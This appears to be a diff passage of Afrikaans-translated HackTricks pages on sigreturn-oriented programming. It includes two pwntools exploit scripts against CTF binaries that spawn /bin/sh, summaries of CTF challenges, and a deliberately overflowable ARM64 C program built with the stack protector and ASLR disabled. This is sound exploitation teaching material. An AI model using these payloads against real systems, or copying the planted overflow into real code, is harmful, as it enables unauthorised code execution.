elf = context.binary = ELF('./vuln', checksec=False)
p = process()
BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015
frame = SigreturnFrame()
frame.rax = 0x3b # syscall number for execve
frame.rdi = BINSH # pointer to /bin/sh
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
frame.rip = SYSCALL_RET
payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf) # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
Kyk ook na die [**exploit van hier af**](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html) waar die binêre lêer reeds `sigreturn` aanroep en dit dus nie nodig is om dit met 'n **ROP** te bou nie:
```python
from pwn import *
# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)
# Establish the target architecture
context.arch = "amd64"
# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)
# Start making our sigreturn frame
frame = SigreturnFrame()
frame.rip = 0x400185 # Syscall instruction
frame.rax = 59 # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0 # NULL
frame.rdx = 0x0 # NULL
payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack
target.sendline(payload) # Send the target payload
# Drop to an interactive shell
target.interactive()
```
## Ander Voorbeelde & Verwysings
* [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
* [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
* [https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)
* Monteerbare binêre samestelling wat toelaat om **na die stok te skryf** en dan die **`sigreturn`** systaalaanroep te maak. Dit is moontlik om op die stok 'n [**ret2syscall**](../rop-syscall-execv/) te skryf via 'n **sigreturn** struktuur en die vlag wat binne die geheue van die binêre lê, te lees.
* [https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html)
* Monteerbare binêre samestelling wat toelaat om **na die stok te skryf** en dan die **`sigreturn`** systaalaanroep te maak. Dit is moontlik om op die stok 'n [**ret2syscall**](../rop-syscall-execv/) te skryf via 'n **sigreturn** struktuur (die binêre het die string `/bin/sh`).
* [https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html)
* 64-bits, geen relro, geen kanarie, nx, geen pie. Eenvoudige buffer-oorvloei wat die `gets`-funksie misbruik met 'n gebrek aan gadgets wat 'n [**ret2syscall**](../rop-syscall-execv/) uitvoer. Die ROP-ketting skryf `/bin/sh` in die `.bss` deur weer gets te roep, dit misbruik die **`alarm`**-funksie om eax na `0xf` te stel om 'n **SROP** aan te roep en 'n skaal uit te voer.
* [https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html)
* 64-bits samestellingsprogram, geen relro, geen kanarie, nx, geen pie. Die vloei maak dit moontlik om in die stok te skryf, verskeie registre te beheer, 'n systaalaanroep te maak en dan `exit` te roep. Die gekose systaalaanroep is 'n `sigreturn` wat registre sal stel en `eip` sal skuif om 'n vorige systaalinstruksie aan te roep en `memprotect` te hardloop om die binêre spasie na `rwx` te stel en die ESP in die binêre spasie te stel. Volgens die vloei sal die program weer intro ESP lees, maar in hierdie geval sal ESP na die volgende instruksie wys sodat die oordrag van 'n shellkode dit as die volgende instruksie sal skryf en dit sal uitvoer.

View file

@ -0,0 +1,57 @@
# SROP - ARM64
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
## Kode
```c
#include <stdio.h>
#include <string.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x0, #139; svc #0;");
return;
}
char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}
int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2);
return 0;
}
```
Stel dit saam met:
```bash
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
```
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslaan.
</details>